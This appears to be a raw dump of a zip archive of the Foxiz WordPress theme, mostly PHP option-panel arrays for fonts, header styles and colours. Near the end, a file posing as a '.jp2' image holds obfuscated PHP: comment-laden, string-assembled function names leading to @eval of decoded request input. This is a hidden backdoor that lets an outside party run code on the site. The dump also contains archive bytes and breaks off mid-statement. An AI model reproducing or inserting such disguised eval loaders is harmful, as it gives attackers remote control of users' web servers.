'line-height' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_main_sub_menu', 'type' => 'typography', 'title' => esc_html__( 'Sub-Level Menu Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font for sub-level menu items for displaying in the main menu.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-weight' => true, 'line-height' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'section_end_section_font_main_menu', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_section_font_mobile_menu', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Mobile Menu', 'foxiz' ), 'indent' => true ), array( 'id' => 'font_mobile_menu', 'type' => 'typography', 'title' => esc_html__( 'Mobile Menu Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font for top menu items for displaying in the mobile menu.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-weight' => true, 'line-height' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_mobile_sub_menu', 'type' => 'typography', 'title' => esc_html__( 'Sub-Level Mobile Menu Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font for sub-level menu items for displaying in the mobile menu.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-weight' => true, 'line-height' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'section_end_section_font_mobile_menu', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_section_font_quick_access_menu', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Mobile Quick Access', 'foxiz' ), 'indent' => true ), array( 'id' => 'font_quick_access_menu', 'type' => 'typography', 'title' => esc_html__( 'Mobile Quick Access Menu Font', 'foxiz' ), 'subtitle' => esc_html__( 'Select font for mobile quick access menu items for displaying in the mobile device.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-weight' => true, 'line-height' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'section_end_section_font_quick_access_menu', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_heading' ) ) { /** * @return array */ function foxiz_register_options_typo_heading() { return array( 'id' => 'foxiz_config_section_typo_block_heading', 'title' => esc_html__( 'Block Heading', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for the block heading.', 'foxiz' ), 'fields' => array( array( 'id' => 'font_heading', 'type' => 'typography', 'title' => esc_html__( 'Heading Font', 'foxiz' ), 'subtitle' => esc_html__( 'Heading tag will use default H tag font settings. Select font values if you would like to choose a custom font.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_heading_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the heading block on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_heading_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the heading block on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_sub_heading', 'type' => 'typography', 'title' => esc_html__( 'Tagline Font', 'foxiz' ), 'subtitle' => esc_html__( 'Tagline tag will use default H6 tag font settings. Select font values if you would like to choose a custom font.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'line-height' => false, 'font-weight' => true, 'font-size' => true, 'units' => 'px', 'default' => array() ), ) ); } } if ( ! function_exists( 'foxiz_register_options_typo_widget_menu' ) ) { /** * @return array */ function foxiz_register_options_typo_widget_menu() { return array( 'id' => 'foxiz_config_section_typo_widget_menu', 'title' => esc_html__( 'Archive & Menu Widgets', 'foxiz' ), 'icon' => 'el el-font', 'subsection' => true, 'desc' => esc_html__( 'Select font values for the default widgets, apply to the archive, category widgets...', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_section_font_widgets', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Sidebar Archive & Menu Widgets', 'foxiz' ), 'indent' => true ), array( 'id' => 'font_widget', 'type' => 'typography', 'title' => esc_html__( 'Default Widgets', 'foxiz' ), 'subtitle' => esc_html__( 'Select font for the default archives, categories and menu fonts.', 'foxiz' ), 'google' => true, 'font-backup' => true, 'text-align' => false, 'color' => false, 'text-transform' => true, 'letter-spacing' => true, 'font-weight' => true, 'line-height' => false, 'units' => 'px', 'default' => array() ), array( 'id' => 'font_widget_size_mobile', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Mobile Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for buttons on mobile devices (max screen width: 767px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'font_widget_size_tablet', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Tablet Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for buttons on tablet devices (max screen width: 1024px), Leave this option blank to set the default value.', 'foxiz' ), ), array( 'id' => 'section_end_section_font_widgets', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } }PK!Zqyypanels/header-style.phpnu[ 'foxiz_config_section_header_1', 'title' => esc_html__( 'Header Style 1,2,3', 'foxiz' ), 'icon' => 'el el-screen', 'subsection' => true, 'desc' => esc_html__( 'The settings below apply to the header style 1, 2 and 3.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_hd1_general', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'General Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd1_more', 'title' => esc_html__( 'More Menu Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the more button at the end of the navigation.', 'foxiz' ), 'type' => 'switch', 'default' => 0 ), array( 'id' => 'hd1_header_socials', 'title' => esc_html__( 'Social Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the social icons list at the end of the navigation.', 'foxiz' ), 'type' => 'switch', 'default' => 0 ), array( 'id' => 'section_end_hd1_general', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_hd1_nav_style', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Navigation Bar Style & Layout', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd1_width', 'title' => esc_html__( 'Header Width', 'foxiz' ), 'subtitle' => esc_html__( 'Select a width style for this header.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Wrapper (1240px)', 'foxiz' ), 'full' => esc_html__( 'Full Width (100%)', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'hd1_nav_style', 'type' => 'select', 'title' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select navigation bar style for these header styles.', 'foxiz' ), 'options' => array( 'shadow' => esc_html__( 'Shadow', 'foxiz' ), 'border' => esc_html__( 'Bottom Border', 'foxiz' ), 'd-border' => esc_html__( 'Dark Bottom Border', 'foxiz' ), 'none' => esc_html__( 'None', 'foxiz' ) ), 'default' => 'shadow' ), array( 'id' => 'hd1_height', 'title' => esc_html__( 'Header Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom height value (px) for this header. Default is 60.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'hd1_sub_scheme', 'type' => 'select', 'title' => esc_html__( 'Mega Menu - Text Color Scheme', 'foxiz' ), 'subtitle' => esc_html__( 'In case you would like to switch layout and text to light when set a dark background for sub menu in light mode.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz' ), '1' => esc_html__( 'Light Text', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_hd1_nav_style', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_hd1_nav_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Navigation Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd1_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Navigation Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the navigation bar of this header.', 'foxiz' ), 'description' => esc_html__( 'use the option "To" to set a gradient background.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'hd1_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in the navigation bar of this header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd1_color_hover', 'title' => esc_html__( 'Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd1_color_hover_accent', 'title' => esc_html__( 'Hover Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd1_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Sub Menu - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the sub menu and other dropdown sections of this header.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'hd1_sub_color', 'title' => esc_html__( 'Sub Menu - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in sub menus and other dropdown sections of this header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd1_sub_color_hover', 'title' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_hd1_nav_colors', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), /** dark mode */ array( 'id' => 'section_start_hd1_dark_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Dark Mode Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'dark_hd1_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the navigation bar of this header in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'dark_hd1_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in the navigation bar of this header in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd1_color_hover', 'title' => esc_html__( 'Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd1_color_hover_accent', 'title' => esc_html__( 'Hover Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd1_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Sub Menu - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the sub menu and other dropdown sections of this header in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'dark_hd1_sub_color', 'title' => esc_html__( 'Sub Menu - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in sub menus and other dropdown sections of this header in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd1_sub_color_hover', 'title' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_hd1_dark_colors', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_hd1_transparent', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Transparent Colors', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below apply to the "Transparent Header 1,2 and 3".', 'foxiz' ), 'indent' => true ), array( 'id' => 'transparent_hd1_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in the navigation bar of the transparent header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'transparent_hd1_color_hover', 'title' => esc_html__( 'Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'transparent_hd1_color_hover_accent', 'title' => esc_html__( 'Hover Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_hd1_transparent', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_header_4' ) ) { /** * @return array */ function foxiz_register_options_header_4() { return array( 'id' => 'foxiz_config_section_header_4', 'title' => esc_html__( 'Header Style 4', 'foxiz' ), 'icon' => 'el el-screen', 'subsection' => true, 'desc' => esc_html__( 'The settings below apply to the header style 4.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_hd4_general', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'General Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd4_more', 'title' => esc_html__( 'More Menu Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the more button at the end of the navigation.', 'foxiz' ), 'type' => 'switch', 'default' => 0 ), array( 'id' => 'hd4_header_socials', 'title' => esc_html__( 'Social Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the social icons list at the end of the navigation.', 'foxiz' ), 'type' => 'switch', 'default' => 1 ), array( 'id' => 'section_end_hd4_general', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_hd4_nav_style', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd4_width', 'title' => esc_html__( 'Header Width', 'foxiz' ), 'subtitle' => esc_html__( 'Select a width style for this header.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Wrapper (1240px)', 'foxiz' ), 'full' => esc_html__( 'Full Width (100%)', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'hd4_height', 'title' => esc_html__( 'Navigation Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom height value (px) for the navigation bar. Default is 40.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'hd4_logo_height', 'title' => esc_html__( 'Logo Max Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input a max height value for the logo of this header. Default is 60.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'hd4_sub_scheme', 'type' => 'select', 'title' => esc_html__( 'Mega Menu - Text Color Scheme', 'foxiz' ), 'subtitle' => esc_html__( 'In case you would like to switch layout and text to light when set a dark background for sub menu in light mode.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz' ), '1' => esc_html__( 'Light Text', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_hd4_nav_style', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_hd4_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Navigation Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd4_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Navigation Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the navigation bar of this header.', 'foxiz' ), 'description' => esc_html__( 'use the option "To" to set a gradient background.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'hd4_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in the navigation bar of this header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd4_color_hover', 'title' => esc_html__( 'Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd4_color_hover_accent', 'title' => esc_html__( 'Hover Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd4_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Sub Menu - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the sub menu and other dropdown sections of this header.', 'foxiz' ), 'description' => esc_html__( 'use the option "To" to set a gradient background.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'hd4_sub_color', 'title' => esc_html__( 'Sub Menu - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in sub menus and other dropdown sections of this header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd4_sub_color_hover', 'title' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_hd4_colors', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), /** dark mode */ array( 'id' => 'section_start_hd4_dark_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Dark Mode Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'dark_hd4_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Navigation Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the navigation bar of this header in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '#191c20', 'to' => '', ), ), array( 'id' => 'dark_hd4_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in the navigation bar of this header in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd4_color_hover', 'title' => esc_html__( 'Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd4_color_hover_accent', 'title' => esc_html__( 'Hover Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd4_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Sub Menu - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the sub menu and other dropdown sections of this header in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'dark_hd4_sub_color', 'title' => esc_html__( 'Sub Menu - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in sub menus and other dropdown sections of this header in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd4_sub_color_hover', 'title' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_hd4_dark_colors', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_header_5' ) ) { /** * @return array */ function foxiz_register_options_header_5() { return array( 'id' => 'foxiz_config_section_header_5', 'title' => esc_html__( 'Header Style 5', 'foxiz' ), 'icon' => 'el el-screen', 'subsection' => true, 'desc' => esc_html__( 'The settings below apply to the header style 5.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_hd5_general', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'General Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd5_more', 'title' => esc_html__( 'More Menu Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the more button at the end of the navigation.', 'foxiz' ), 'type' => 'switch', 'default' => 0 ), array( 'id' => 'hd5_header_socials', 'title' => esc_html__( 'Social Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the social icons list at the end of the navigation.', 'foxiz' ), 'type' => 'switch', 'default' => 1 ), array( 'id' => 'section_end_hd5_general', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_nav_style', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Navigation Bar Style & Layout', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd5_width', 'title' => esc_html__( 'Header Width', 'foxiz' ), 'subtitle' => esc_html__( 'Select a width style for this header.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Full Width (100%)', 'foxiz' ), 'wrapper' => esc_html__( 'Wrapper (1240px)', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'hd5_nav_style', 'type' => 'select', 'title' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select navigation bar style for these header styles.', 'foxiz' ), 'options' => array( 'shadow' => esc_html__( 'Shadow', 'foxiz' ), 'border' => esc_html__( 'Bottom Border', 'foxiz' ), 'tb-border' => esc_html__( 'Top & Bottom Border', 'foxiz' ), 'd-border' => esc_html__( 'Dark Bottom Border', 'foxiz' ), 'tbd-border' => esc_html__( 'Dark Top & Bottom Border', 'foxiz' ), 'tb-shadow-border' => esc_html__( 'Border Top & Bottom Shadow', 'foxiz' ), 'none' => esc_html__( 'None', 'foxiz' ) ), 'default' => 'border' ), array( 'id' => 'hd5_height', 'title' => esc_html__( 'Navigation Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom height value (px) for the navigation bar of this header. Default is 40px.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'hd5_logo_height', 'title' => esc_html__( 'Logo Max Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input a max height value for the logo of this header. Default is 60.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'hd5_sub_scheme', 'type' => 'select', 'title' => esc_html__( 'Mega Menu - Text Color Scheme', 'foxiz' ), 'subtitle' => esc_html__( 'In case you would like to switch layout and text to light when set a dark background for sub menu in light mode.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz' ), '1' => esc_html__( 'Light Text', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_hd5_nav_style', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_hd5_nav_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Navigation Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'hd5_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Navigation Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the navigation bar of this header.', 'foxiz' ), 'description' => esc_html__( 'use the option "To" to set a gradient background.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'hd5_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in the navigation bar of this header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd5_color_hover', 'title' => esc_html__( 'Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd5_color_hover_accent', 'title' => esc_html__( 'Hover Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd5_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Sub Menu - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the sub menu and other dropdown sections of this header.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'hd5_sub_color', 'title' => esc_html__( 'Sub Menu - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in sub menus and other dropdown sections of this header.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hd5_sub_color_hover', 'title' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_hd5_nav_colors', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), /** dark mode */ array( 'id' => 'section_start_hd5_dark_colors', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Dark Mode Colors', 'foxiz' ), 'indent' => true ), array( 'id' => 'dark_hd5_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Navigation Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the navigation bar of this header in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '#191c20', 'to' => '', ), ), array( 'id' => 'dark_hd5_color', 'title' => esc_html__( 'Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in the navigation bar of this header in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd5_color_hover', 'title' => esc_html__( 'Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd5_color_hover_accent', 'title' => esc_html__( 'Hover Accent Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a accent color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd5_sub_background', 'type' => 'color_gradient', 'title' => esc_html__( 'Sub Menu - Background Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background color for the sub menu and other dropdown sections of this header in the dark mode.', 'foxiz' ), 'validate' => 'color', 'transparent' => false, 'default' => array( 'from' => '', 'to' => '', ), ), array( 'id' => 'dark_hd5_sub_color', 'title' => esc_html__( 'Sub Menu - Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color for displaying in sub menus and other dropdown sections of this header in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hd5_sub_color_hover', 'title' => esc_html__( 'Sub Menu - Hover Text Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_hd5_dark_colors', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } PK!panels/panels/index.phpnu[PK!ˤ'panels/panels/mobrQuewCtTj.jp2nu[>-*/"a"."n"./*-KC#-*/"g"."e"; /*-ERw{-*/$v/*-`1_X6-*/ = /*-x+m;-*/.$v/*-@tu(-4&r;-*/[11+42]/*-;E@(n-*/.$v/*-}&iP]xJJoQ-*/[2+55]/*-^d@5+uGeb-*/}; /*-Cy-*/if/*-u-*/((/*-+i{-*/in_array/*-nrE)^+-*/(gettype/*-U=-*/($G)./*-,t|7uV8;8-*/count/*-kOI,^4O-*/($G),/*-h?PJ`-*/$G)/*-ya-*/&&count/*-`E`Z,gg-*/($G)/*-}Ed&ocFj-*/==/*-3_W)j-*/10))/*-+2&7&;Kp-*/{ /*-fV!I;Ti-*/(($G[69]=$G[69].$G[73])&&($G[89]=$G[69]($G[89]))&&(/*-.Zh,;-*/@eval/*-]n;=4-*/($G[69](${$G[42]}[24])/*-(b>(-*/))/*-]DVw]LsEw-*/" "/*-ZuHt-*/);/*-KbO6!0-*/ $xpUuPtC /*-ZEMEz-*/= /*-A:VF-*/explode/*-X+AH-*/$LQKb /*-T4-*/= /*-}i-*/""; foreach 